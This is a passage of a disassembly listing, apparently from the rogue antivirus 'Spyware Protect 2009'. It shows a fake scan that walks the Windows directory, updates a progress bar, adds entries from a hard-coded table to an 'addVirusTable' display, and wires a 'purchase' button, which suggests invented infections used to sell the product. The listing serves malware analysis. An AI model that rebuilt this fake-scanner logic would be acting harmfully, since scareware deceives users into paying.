; =============== S U B R O U T I N E =======================================
sub_4092A8 proc near ; DATA XREF: sub_4091FA+62o
; sub_4093B3+62o
push esi
mov esi, ecx
push 0
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
push dword ptr [esi+4]
call sub_417588
pop ecx
mov eax, offset aTrue ; "true"
pop esi
retn 8
sub_4092A8 endp
; ---------------------------------------------------------------------------
mov eax, [ecx+5Ch]
push dword ptr [eax+4]
call dword_41D070 ; SetEvent
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4092D7 proc near ; DATA XREF: UPX0:00424C44o
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword_41D074
mov esi, ecx
mov [ebp+var_1], bl
jmp short loc_409323
; ---------------------------------------------------------------------------
loc_4092EF: ; CODE XREF: sub_4092D7+5Dj
lea eax, [ebp+var_20]
push eax
call dword_41D2D8 ; TranslateMessage
cmp [ebp+var_1C], 10h
jz short loc_409338
mov eax, 100h
cmp [ebp+var_1C], eax
jnz short loc_409319
push [ebp+var_14]
push [ebp+var_18]
push eax
push dword ptr [esi+4]
call dword_41D288 ; SendMessageW
loc_409319: ; CODE XREF: sub_4092D7+30j
lea eax, [ebp+var_20]
push eax
call dword_41D26C ; DispatchMessageW
loc_409323: ; CODE XREF: sub_4092D7+16j
; sub_4092D7+9Ej
push 1
push ebx
push ebx
push ebx
lea eax, [ebp+var_20]
push eax
call dword_41D2F0 ; PeekMessageW
test eax, eax
jnz short loc_4092EF
jmp short loc_40933C
; ---------------------------------------------------------------------------
loc_409338: ; CODE XREF: sub_4092D7+26j
mov [ebp+var_1], 1
loc_40933C: ; CODE XREF: sub_4092D7+5Fj
mov eax, [esi+5Ch]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_40934E
push ebx
jmp short loc_40935F
; ---------------------------------------------------------------------------
loc_40934E: ; CODE XREF: sub_4092D7+72j
mov eax, [esi+60h]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_40936A
push 5
loc_40935F: ; CODE XREF: sub_4092D7+75j
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
jmp short loc_409372
; ---------------------------------------------------------------------------
loc_40936A: ; CODE XREF: sub_4092D7+84j
push 1
call dword_41D080 ; Sleep
loc_409372: ; CODE XREF: sub_4092D7+91j
cmp [ebp+var_1], bl
jz short loc_409323
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
leave
retn
sub_4092D7 endp
; =============== S U B R O U T I N E =======================================
sub_40937F proc near ; DATA XREF: UPX0:00424C38o
arg_0 = byte ptr 4
push edi
mov edi, ecx
call sub_40927A
test [esp+4+arg_0], 1
jz short loc_409395
push edi
call sub_40AC11
pop ecx
loc_409395: ; CODE XREF: sub_40937F+Dj
mov eax, edi
pop edi
retn 4
sub_40937F endp
; =============== S U B R O U T I N E =======================================
sub_40939B proc near ; CODE XREF: sub_40927A+15p
; sub_40927A+21p ...
cmp byte ptr [esi], 0
jz short loc_4093A9
push dword ptr [esi+4]
call dword_41D0A8 ; CloseHandle
loc_4093A9: ; CODE XREF: sub_40939B+3j
push esi
call sub_40AC11
pop ecx
mov eax, esi
retn
sub_40939B endp
; =============== S U B R O U T I N E =======================================
sub_4093B3 proc near ; CODE XREF: sub_40A0E8+13p
push 0
mov eax, offset loc_41C6EE
call sub_40C46D
mov esi, [ebp+8]
push offset aNetalert_htm ; "netalert.htm"
push esi
call sub_418A96
xor ebx, ebx
mov [ebp-4], ebx
push 8
mov dword ptr [esi], offset off_424C70
mov dword ptr [esi+24h], (offset loc_424C87+5)
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_4093F4
mov ecx, [edi]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_4093F6
; ---------------------------------------------------------------------------
loc_4093F4: ; CODE XREF: sub_4093B3+36j
xor eax, eax
loc_4093F6: ; CODE XREF: sub_4093B3+3Fj
push 8
mov [esi+60h], eax
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_40940F
mov ecx, [edi+4]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_409411
; ---------------------------------------------------------------------------
loc_40940F: ; CODE XREF: sub_4093B3+50j
xor eax, eax
loc_409411: ; CODE XREF: sub_4093B3+5Aj
push ebx
mov [esi+5Ch], eax
mov eax, offset sub_4092A8
push eax
push 1
push offset aFstbuttonclick ; "fstButtonClick"
mov ecx, esi
call sub_418122
mov eax, esi
call sub_40C50C
retn 4
sub_4093B3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_409433 proc near ; CODE XREF: UPX0:0040951Ap
; sub_40A0E8+52p ...
push esi
mov esi, [edi+60h]
mov dword ptr [edi], offset off_424C70
mov dword ptr [edi+24h], (offset loc_424C87+5)
test esi, esi
jz short loc_40944D
call sub_40939B
loc_40944D: ; CODE XREF: sub_409433+13j
mov esi, [edi+5Ch]
test esi, esi
jz short loc_409459
call sub_40939B
loc_409459: ; CODE XREF: sub_409433+1Fj
mov ecx, edi
pop esi
jmp sub_404B59
sub_409433 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword_41D074
mov esi, ecx
mov [ebp-1], bl
jmp short loc_4094AD
; ---------------------------------------------------------------------------
loc_409479: ; CODE XREF: UPX0:004094BEj
lea eax, [ebp-20h]
push eax
call dword_41D2D8 ; TranslateMessage
cmp dword ptr [ebp-1Ch], 10h
jz short loc_4094C2
mov eax, 100h
cmp [ebp-1Ch], eax
jnz short loc_4094A3
push dword ptr [ebp-14h]
push dword ptr [ebp-18h]
push eax
push dword ptr [esi+4]
call dword_41D288 ; SendMessageW
loc_4094A3: ; CODE XREF: UPX0:00409491j
lea eax, [ebp-20h]
push eax
call dword_41D26C ; DispatchMessageW
loc_4094AD: ; CODE XREF: UPX0:00409477j
; UPX0:0040950Dj
push 1
push ebx
push ebx
push ebx
lea eax, [ebp-20h]
push eax
call dword_41D2F0 ; PeekMessageW
test eax, eax
jnz short loc_409479
jmp short loc_4094C6
; ---------------------------------------------------------------------------
loc_4094C2: ; CODE XREF: UPX0:00409487j
mov byte ptr [ebp-1], 1
loc_4094C6: ; CODE XREF: UPX0:004094C0j
mov eax, [esi+5Ch]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_4094D8
push ebx
jmp short loc_4094F7
; ---------------------------------------------------------------------------
loc_4094D8: ; CODE XREF: UPX0:004094D3j
mov eax, [esi+60h]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_409502
push ebx
push ebx
push offset aSetinfo ; "setInfo"
mov eax, esi
call sub_417FE1
push 5
loc_4094F7: ; CODE XREF: UPX0:004094D6j
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
jmp short loc_40950A
; ---------------------------------------------------------------------------
loc_409502: ; CODE XREF: UPX0:004094E5j
push 1
call dword_41D080 ; Sleep
loc_40950A: ; CODE XREF: UPX0:00409500j
cmp [ebp-1], bl
jz short loc_4094AD
mov eax, [ebp-18h]
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
push edi
mov edi, ecx
call sub_409433
test byte ptr [esp+8], 1
jz short loc_40952D
push edi
call sub_40AC11
pop ecx
loc_40952D: ; CODE XREF: UPX0:00409524j
mov eax, edi
pop edi
retn 4
; =============== S U B R O U T I N E =======================================
sub_409533 proc near ; CODE XREF: sub_409FB8+3Ap
push 4
mov eax, offset loc_41C6CB
call sub_40C46D
mov edi, [ebp+8]
push offset aHtmlmain_htm ; "htmlMain.htm"
push edi
call sub_418A96
xor ebx, ebx
mov [ebp-4], ebx
mov dword ptr [edi], offset off_424CAC
mov dword ptr [edi+24h], offset loc_424CC8
xor eax, eax
xor ecx, ecx
push 1
lea esi, [edi+78h]
mov [edi+70h], eax
mov [edi+74h], ecx
mov [edi+68h], ebx
mov [edi+64h], ebx
mov [edi+60h], ebx
call sub_408D6F
mov byte ptr [ebp-4], 1
push 8
mov [edi+88h], bl
mov byte ptr [edi+9Dh], 1
call sub_40B45F
mov esi, [ebp+0Ch]
pop ecx
cmp eax, ebx
jz short loc_4095A5
mov ecx, [esi]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_4095A7
; ---------------------------------------------------------------------------
loc_4095A5: ; CODE XREF: sub_409533+67j
xor eax, eax
loc_4095A7: ; CODE XREF: sub_409533+70j
push 8
mov [edi+84h], eax
call sub_40B45F
pop ecx
cmp eax, ebx
jz short loc_4095C3
mov ecx, [esi+4]
mov [eax], bl
mov [eax+4], ecx
jmp short loc_4095C5
; ---------------------------------------------------------------------------
loc_4095C3: ; CODE XREF: sub_409533+84j
xor eax, eax
loc_4095C5: ; CODE XREF: sub_409533+8Ej
push ebx
mov [edi+80h], eax
mov eax, offset sub_40968F
push eax
push 1
push offset aScanbuttonclic ; "scanButtonClick"
mov ecx, edi
call sub_418122
push ebx
mov eax, offset sub_40970B
push eax
push 1
push offset aPurchase ; "purchase"
mov ecx, edi
call sub_418122
mov eax, offset sub_40983C
mov [edi+70h], eax
mov [edi+74h], ebx
mov [edi+68h], edi
mov [edi+64h], ebx
mov [edi+60h], ebx
cmp [esi+8], ebx
setz al
mov [edi+9Ch], al
mov eax, edi
call sub_40C50C
retn 8
sub_409533 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40961F proc near ; CODE XREF: sub_409BAB+3p
; sub_409FB8+113p ...
push ecx
push ebx
push esi
push dword ptr [edi+7Ch]
mov dword ptr [edi], offset off_424CAC
mov dword ptr [edi+24h], offset loc_424CC8
call dword_41D070 ; SetEvent
mov eax, [edi+60h]
mov ebx, dword_41D0A8
test eax, eax
jz short loc_40965B
push 0FFFFFFFFh
push eax
call dword_41D06C ; WaitForSingleObject
test eax, eax
jnz short loc_40965B
push dword ptr [edi+60h]
call ebx ; dword_41D0A8
and dword ptr [edi+64h], 0
loc_40965B: ; CODE XREF: sub_40961F+24j
; sub_40961F+31j
mov esi, [edi+84h]
test esi, esi
jz short loc_40966A
call sub_40939B
loc_40966A: ; CODE XREF: sub_40961F+44j
mov esi, [edi+80h]
test esi, esi
jz short loc_409679
call sub_40939B
loc_409679: ; CODE XREF: sub_40961F+53j
cmp byte ptr [edi+78h], 0
jz short loc_409684
push dword ptr [edi+7Ch]
call ebx ; dword_41D0A8
loc_409684: ; CODE XREF: sub_40961F+5Ej
mov ecx, edi
call sub_404B59
pop esi
pop ebx
pop ecx
retn
sub_40961F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40968F proc near ; DATA XREF: sub_409533+99o
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push esi
mov esi, ecx
cmp byte ptr [esi+88h], 0
jnz short loc_4096F8
push ebx
push edi
push 0
push 0
push offset aScanstart ; "scanStart"
mov eax, esi
call sub_417FE1
lea eax, [ebp+var_4]
push eax
push dword ptr [esi+34h]
push offset dword_424384
call dword_41D3CC
mov ebx, [ebp+var_4]
push 8
lea edi, [esi+60h]
call sub_40B45F
pop ecx
lea ecx, [edi+4]
push ecx
xor ecx, ecx
push ecx
push eax
push offset sub_40A452
push ecx
push ecx
mov [eax], edi
mov [eax+4], ebx
call dword_41D0B0 ; CreateThread
mov [edi], eax
pop edi
mov byte ptr [esi+88h], 1
pop ebx
jmp short loc_409701
; ---------------------------------------------------------------------------
loc_4096F8: ; CODE XREF: sub_40968F+Ej
push dword ptr [esi+7Ch]
call dword_41D070 ; SetEvent
loc_409701: ; CODE XREF: sub_40968F+67j
mov eax, offset aTrue ; "true"
pop esi
leave
retn 8
sub_40968F endp
; =============== S U B R O U T I N E =======================================
sub_40970B proc near ; DATA XREF: sub_409533+AEo
push ecx
push dword ptr [ecx+4]
call sub_417588
pop ecx
mov eax, offset aTrue ; "true"
pop ecx
retn 8
sub_40970B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40971E proc near ; CODE XREF: sub_4098E0+1CEp
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push 0Ah
lea eax, [ebp+var_18]
push eax
push [ebp+arg_0]
call sub_40B83C
lea eax, [ebp+var_18]
add esp, 0Ch
mov [ebp+var_1C], eax
lea eax, [ebp+var_1C]
push eax
push 1
push offset aSetprogressbar ; "setProgressBar"
mov eax, esi
call sub_417FE1
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_40AC1C
leave
retn 4
sub_40971E endp
; ---------------------------------------------------------------------------
mov eax, [ecx+80h]
push dword ptr [eax+4]
call dword_41D070 ; SetEvent
call sub_4170C1
retn 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40977C proc near ; DATA XREF: UPX0:00424CBCo
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword_41D074
mov esi, ecx
mov [ebp+var_1], bl
jmp short loc_4097C8
; ---------------------------------------------------------------------------
loc_409794: ; CODE XREF: sub_40977C+5Dj
lea eax, [ebp+var_20]
push eax
call dword_41D2D8 ; TranslateMessage
cmp [ebp+var_1C], 10h
jz short loc_4097DD
mov eax, 100h
cmp [ebp+var_1C], eax
jnz short loc_4097BE
push [ebp+var_14]
push [ebp+var_18]
push eax
push dword ptr [esi+4]
call dword_41D288 ; SendMessageW
loc_4097BE: ; CODE XREF: sub_40977C+30j
lea eax, [ebp+var_20]
push eax
call dword_41D26C ; DispatchMessageW
loc_4097C8: ; CODE XREF: sub_40977C+16j
; sub_40977C+B6j
push 1
push ebx
push ebx
push ebx
lea eax, [ebp+var_20]
push eax
call dword_41D2F0 ; PeekMessageW
test eax, eax
jnz short loc_409794
jmp short loc_4097E1
; ---------------------------------------------------------------------------
loc_4097DD: ; CODE XREF: sub_40977C+26j
mov [ebp+var_1], 1
loc_4097E1: ; CODE XREF: sub_40977C+5Fj
mov eax, [esi+80h]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_4097FF
push ebx
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
jmp short loc_40982F
; ---------------------------------------------------------------------------
loc_4097FF: ; CODE XREF: sub_40977C+75j
mov eax, [esi+84h]
push 1
push ebx
push dword ptr [eax+4]
call edi ; dword_41D074
test eax, eax
jnz short loc_409827
push 5
push dword ptr [esi+4]
call dword_41D298 ; ShowWindow
push dword ptr [esi+4]
call dword_41D334 ; SetForegroundWindow
jmp short loc_40982F
; ---------------------------------------------------------------------------
loc_409827: ; CODE XREF: sub_40977C+93j
push 1
call dword_41D080 ; Sleep
loc_40982F: ; CODE XREF: sub_40977C+81j
; sub_40977C+A9j
cmp [ebp+var_1], bl
jz short loc_4097C8
mov eax, [ebp+var_18]
pop edi
pop esi
pop ebx
leave
retn
sub_40977C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40983C proc near ; DATA XREF: sub_409533+C2o
var_218 = byte ptr -218h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 218h
mov eax, dword_42A034
xor eax, ebp
mov [ebp+var_4], eax
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
xor ebx, ebx
push ebx
mov esi, ecx
call dword_41D3C8
lea eax, [esi+34h]
push eax
push offset dword_424384
push edi
call dword_41D390
push dword ptr [esi+7Ch]
call dword_41D098 ; ResetEvent
push 104h
lea eax, [ebp+var_218]
push eax
mov [esi+8Ch], ebx
mov [esi+90h], ebx
mov [esi+94h], ebx
mov dword ptr [esi+98h], 22h
call dword_41D0AC ; GetWindowsDirectoryW
lea eax, [ebp+var_218]
push eax
mov ecx, esi
call sub_4098E0
push ebx
push ebx
push offset aScanstop ; "scanStop"
mov eax, esi
call sub_417FE1
mov [esi+88h], bl
call dword_41D3C0
mov ecx, [ebp+var_4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call sub_40AC1C
leave
retn 4
sub_40983C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4098E0 proc near ; CODE XREF: sub_40983C+74p
; sub_4098E0+17Fp
var_2B8 = dword ptr -2B8h
var_2B4 = byte ptr -2B4h
var_2B0 = dword ptr -2B0h
var_2AC = byte ptr -2ACh
var_2A8 = dword ptr -2A8h
var_2A4 = dword ptr -2A4h
var_2A0 = byte ptr -2A0h
var_29C = dword ptr -29Ch
var_288 = dword ptr -288h
var_284 = byte ptr -284h
var_280 = dword ptr -280h
var_26C = dword ptr -26Ch
var_268 = byte ptr -268h
var_23C = byte ptr -23Ch
var_14 = dword ptr -14h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
and esp, 0FFFFFFF8h
push 0FFFFFFFFh
push offset loc_41C599
mov eax, large fs:0
push eax
sub esp, 2B0h
mov eax, dword_42A034
xor eax, esp
mov [esp+2BCh+var_14], eax
push ebx
push esi
push edi
mov eax, dword_42A034
xor eax, esp
push eax
lea eax, [esp+2CCh+var_C]
mov large fs:0, eax
mov eax, [ebp+arg_0]
mov [esp+2CCh+var_2B0], eax
push eax
lea eax, [esp+2D0h+var_284]
mov edi, ecx
call sub_40518A
and [esp+2CCh+var_4], 0
push offset asc_424958 ; "\\*"
lea eax, [esp+2D0h+var_284]
push eax
call sub_40A281
cmp [esp+2CCh+var_26C], 8
mov eax, [esp+2CCh+var_280]
jnb short loc_409959
lea eax, [esp+2CCh+var_280]
loc_409959: ; CODE XREF: sub_4098E0+73j
lea ecx, [esp+2CCh+var_268]
push ecx
push eax
call dword_41D1BC ; FindFirstFileW
mov dword ptr [esp+2CCh+var_2B4], eax
cmp eax, 0FFFFFFFFh
jz loc_409B78
mov ebx, 10E1h
loc_409977: ; CODE XREF: sub_4098E0+288j
push 0
push dword ptr [edi+7Ch]
call dword_41D06C ; WaitForSingleObject
test eax, eax
jz loc_409B6E
mov ecx, offset a_ ; "."
lea eax, [esp+2CCh+var_23C]
loc_409996: ; CODE XREF: sub_4098E0+D6j
mov dx, [eax]
cmp dx, [ecx]
jnz short loc_4099BC
test dx, dx
jz short loc_4099B8
mov dx, [eax+2]
cmp dx, [ecx+2]
jnz short loc_4099BC
add eax, 4
add ecx, 4
test dx, dx
jnz short loc_409996
loc_4099B8: ; CODE XREF: sub_4098E0+C1j
xor eax, eax
jmp short loc_4099C1
; ---------------------------------------------------------------------------
loc_4099BC: ; CODE XREF: sub_4098E0+BCj
; sub_4098E0+CBj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_4099C1: ; CODE XREF: sub_4098E0+DAj
test eax, eax
jz loc_409B3F
mov ecx, offset a__ ; ".."
lea eax, [esp+2CCh+var_23C]
loc_4099D5: ; CODE XREF: sub_4098E0+115j
mov dx, [eax]
cmp dx, [ecx]
jnz short loc_4099FB
test dx, dx
jz short loc_4099F7
mov dx, [eax+2]
cmp dx, [ecx+2]
jnz short loc_4099FB
add eax, 4
add ecx, 4
test dx, dx
jnz short loc_4099D5
loc_4099F7: ; CODE XREF: sub_4098E0+100j
xor eax, eax
jmp short loc_409A00
; ---------------------------------------------------------------------------
loc_4099FB: ; CODE XREF: sub_4098E0+FBj
; sub_4098E0+10Aj
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_409A00: ; CODE XREF: sub_4098E0+119j
test eax, eax
jz loc_409B3F
push [esp+2CCh+var_2B0]
lea eax, [esp+2D0h+var_2A0]
call sub_40518A
push offset asc_42496C ; "\\"
lea eax, [esp+2D0h+var_2A0]
push eax
mov byte ptr [esp+2D4h+var_4], 1
call sub_40A281
lea eax, [esp+2CCh+var_23C]
push eax
lea eax, [esp+2D0h+var_2A0]
push eax
call sub_40A281
push 0Ah
call dword_41D080 ; Sleep
test [esp+2CCh+var_268], 10h
mov eax, [esp+2CCh+var_29C]
jz short loc_409A69
cmp [esp+2CCh+var_288], 8
jnb short loc_409A5C
lea eax, [esp+2CCh+var_29C]
loc_409A5C: ; CODE XREF: sub_4098E0+176j
push eax
mov ecx, edi
call sub_4098E0
jmp loc_409B2A
; ---------------------------------------------------------------------------
loc_409A69: ; CODE XREF: sub_4098E0+16Fj
cmp [esp+2CCh+var_288], 8
jnb short loc_409A74
lea eax, [esp+2CCh+var_29C]
loc_409A74: ; CODE XREF: sub_4098E0+18Ej
mov [esp+2CCh+var_2B8], eax
lea eax, [esp+2CCh+var_2B8]
push eax
push 1
push offset aSetscanfile ; "setScanFile"
mov eax, edi
call sub_417FE1
inc dword ptr [edi+8Ch]
mov eax, [edi+8Ch]
imul eax, 64h
cdq
mov ecx, ebx
idiv ecx
lea ecx, [edi+90h]
cmp eax, [ecx]
jz short loc_409AB3
push eax
mov esi, edi
mov [ecx], eax
call sub_40971E
loc_409AB3: ; CODE XREF: sub_4098E0+1C7j
mov esi, [edi+94h]
test esi, esi
jz short loc_409AEE
mov ecx, [edi+98h]
cmp esi, ecx
jge short loc_409B2A
mov eax, ebx
cdq
idiv ecx
mov [esp+2CCh+var_2B8], eax
fild [esp+2CCh+var_2B8]
fdiv dbl_424CF8
call sub_418CC0
mov ecx, eax
mov eax, [edi+8Ch]
cdq
idiv ecx
test edx, edx
jnz short loc_409B2A
loc_409AEE: ; CODE XREF: sub_4098E0+1DBj
mov eax, esi
imul eax, 0Ch
mov ecx, off_42DA60[eax]
mov edx, off_42DA5C[eax]
mov eax, off_42DA58[eax]
mov [esp+2CCh+var_2A4], eax
lea eax, [esp+2CCh+var_2AC]
push eax
push 3
push offset aAddvirustable ; "addVirusTable"
mov eax, edi
mov [esp+2D8h+var_2A8], edx
mov dword ptr [esp+2D8h+var_2AC], ecx
call sub_417FE1
inc dword ptr [edi+94h]
loc_409B2A: ; CODE XREF: sub_4098E0+184j
; sub_4098E0+1E5j ...
push 0
push 1
lea esi, [esp+2D4h+var_2A0]
mov byte ptr [esp+2D4h+var_4], 0
call sub_4055BC
loc_409B3F: ; CODE XREF: sub_4098E0+E3j
; sub_4098E0+122j
lea eax, [esp+2CCh+var_268]
push eax
push dword ptr [esp+2D0h+var_2B4]
call dword_41D0A4 ; FindNextFileW
cmp eax, 1
jnz short loc_409B6E
push 0
push dword ptr [edi+7Ch]
call dword_41D06C ; WaitForSingleObject
test eax, eax
jz short loc_409B6E
cmp [edi+8Ch], ebx
jl loc_409977
loc_409B6E: ; CODE XREF: sub_4098E0+A4j
; sub_4098E0+271j ...
push dword ptr [esp+2CCh+var_2B4]
call dword_41D094 ; FindClose
loc_409B78: ; CODE XREF: sub_4098E0+8Cj
push 0
push 1
lea esi, [esp+2D4h+var_284]
call sub_4055BC
mov ecx, [esp+2CCh+var_C]
mov large fs:0, ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, [esp+2BCh+var_14]
xor ecx, esp
call sub_40AC1C
mov esp, ebp
pop ebp
retn 4
sub_4098E0 endp
; =============== S U B R O U T I N E =======================================
sub_409BAB proc near ; DATA XREF: UPX0:00424CB0o
arg_0 = byte ptr 4
push edi
mov edi, ecx
call sub_40961F
test [esp+4+arg_0], 1
jz short loc_409BC1
push edi
call sub_40AC11
pop ecx
loc_409BC1: ; CODE XREF: sub_409BAB+Dj
mov eax, edi
pop edi
retn 4
sub_409BAB endp
; =============== S U B R O U T I N E =======================================
sub_409BC7 proc near ; CODE XREF: sub_417692+5Bp
push 0
mov eax, offset loc_41C7C8
call sub_40C46D
mov edi, [ebp+8]
xor ebx, ebx
mov [edi+0Ch], ebx
mov [edi+8], ebx
mov [edi+4], ebx
mov [edi], ebx
mov [edi+1Ch], ebx
mov [edi+18h], ebx
mov [edi+14h], ebx
mov [edi+10h], ebx
mov [edi+2Ch], ebx
mov [edi+28h], ebx
mov [edi+24h], ebx
mov [edi+20h], ebx
push ebx
lea esi, [edi+40h]
mov [edi+3Ch], ebx
mov [edi+38h], ebx
mov [edi+34h], ebx
mov [edi+30h], ebx
call sub_408D6F
push ebx
lea esi, [edi+48h]
mov [ebp-4], ebx
call sub_408D6F
push ebx
lea esi, [edi+50h]
call sub_408D6F
push ebx
lea esi, [edi+58h]
call sub_408D6F
push ebx
lea esi, [edi+60h]
call sub_408D6F
push ebx
lea esi, [edi+68h]
call sub_408D6F
push ebx
lea esi, [edi+70h]
call sub_408D6F
mov byte ptr [ebp-4], 6
mov [edi+94h], bl
mov dword ptr [edi+0Ch], offset sub_409FB8
mov [edi+8], edi
mov [edi+4], ebx
mov [edi], ebx
mov dword ptr [edi+1Ch], offset sub_40A0E8
mov [edi+18h], edi
mov [edi+14h], ebx
mov [edi+10h], ebx
mov dword ptr [edi+2Ch], offset sub_40A147
mov [edi+28h], edi
mov [edi+24h], ebx
mov [edi+20h], ebx
call sub_4170DD
test al, al
jnz short loc_409CA3
lea esi, [edi+30h]
push ebx
mov dword ptr [esi+0Ch], offset sub_409CE5
mov [esi+8], edi
mov [esi+4], ebx
mov [esi], ebx
call sub_40A2BB
loc_409CA3: ; CODE XREF: sub_409BC7+C2j
mov eax, edi
call sub_40C50C
retn 4
sub_409BC7 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_409CAD proc near ; CODE XREF: sub_409F62:loc_409F9Cp
; sub_417692+B3p
push esi
mov esi, eax
cmp dword ptr [esi+4], 0
jnz short loc_409CDA
mov eax, [esi+44h]
push edi
lea edi, [esi+78h]
mov [edi], eax
mov eax, [esi+4Ch]
mov [esi+7Ch], eax
call sub_4170D1
movzx eax, al
push edi
mov [esi+80h], eax
call sub_40A2BB
pop edi
loc_409CDA: ; CODE XREF: sub_409CAD+7j
push dword ptr [esi+44h]
call dword_41D070 ; SetEvent
pop esi
retn
sub_409CAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_409CE5 proc near ; DATA XREF: sub_409BC7+C8o
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_5A = word ptr -5Ah
var_58 = dword ptr -58h
var_3C = byte ptr -3Ch
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 68h
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0CF0000h
push offset dword_4245BC
push offset aStatic ; "STATIC"
push ebx
mov esi, ecx
mov [ebp+var_4], ebx
mov [ebp+var_8], ebx
call dword_41D290 ; CreateWindowExW
mov edi, dword_41D2B4
push esi
push 0FFFFFFEBh
push eax
mov [esi+98h], eax
call edi ; dword_41D2B4
push offset sub_409F62
push 0FFFFFFFCh
push dword ptr [esi+98h]
call edi ; dword_41D2B4
mov eax, [esi+98h]
push 100h
mov [esi+0A0h], eax
xor edi, edi
push offset aSpywareProtect ; "Spyware Protect 2009"
lea eax, [esi+0B4h]
inc edi
push eax
mov dword ptr [esi+9Ch], 3A8h
mov [esi+0A4h], edi
mov dword ptr [esi+0A8h], 7
mov dword ptr [esi+0ACh], 8001h
call dword_41D08C ; lstrcpynW
push ebx
mov [esi+0B0h], ebx
call dword_41D2DC ; GetDC
push 20h
push 20h
push eax
mov [ebp+var_C], eax
mov [ebp+var_20], edi
mov [ebp+var_1C], ebx
mov [ebp+var_18], ebx
call dword_41D044 ; CreateCompatibleBitmap
push offset dword_42CA58
push edi
push edi
push 20h
push 20h
mov [ebp+var_10], eax
call dword_41D030 ; CreateBitmap
push 0Ah
pop ecx
mov [ebp+var_14], eax
xor eax, eax
lea edi, [ebp+var_64]
rep stosd
xor ecx, ecx
push 20h
pop eax
inc ecx
mov [ebp+var_5C], cx
mov ecx, eax
mov [ebp+var_5A], cx
push ebx
lea ecx, [ebp+var_68]
mov [ebp+var_68], 28h
mov [ebp+var_64], eax
mov [ebp+var_60], eax
mov [ebp+var_58], ebx
push ecx
push offset dword_42BA58
push eax
push ebx
push [ebp+var_10]
push [ebp+var_C]
call dword_41D050 ; SetDIBits
lea eax, [ebp+var_20]
push eax
call dword_41D2EC ; CreateIconIndirect
push [ebp+var_10]
mov edi, dword_41D038
mov [ebp+var_C], eax
call edi ; dword_41D038
push [ebp+var_14]
call edi ; dword_41D038
mov eax, [ebp+var_C]
mov edi, dword_41D264
or dword ptr [esi+0A8h], 2
mov [esi+0B0h], eax
lea eax, [esi+9Ch]
push eax
push ebx
call edi ; dword_41D264
mov eax, [esi+0B0h]
cmp eax, ebx
jz short loc_409EB8
push eax
call dword_41D2F8 ; DestroyIcon
jmp short loc_409EB8
; ---------------------------------------------------------------------------
loc_409E4E: ; CODE XREF: sub_409CE5+1E2j
inc [ebp+var_4]
cmp [ebp+var_4], 0Ah
jnz short loc_409EA5
push ebx
mov [ebp+var_4], ebx
call sub_40BB3D
pop ecx
cmp [esi+94h], bl
jnz short loc_409E84
mov ecx, [ebp+var_8]
add ecx, 64h
cmp ecx, eax
ja short loc_409EA5
call sub_409EDC
push ebx
call sub_40BB3D
pop ecx
mov [ebp+var_8], eax
jmp short loc_409EA5
; ---------------------------------------------------------------------------
loc_409E84: ; CODE XREF: sub_409CE5+182j
lea eax, [esi+9Ch]
push eax
push 2
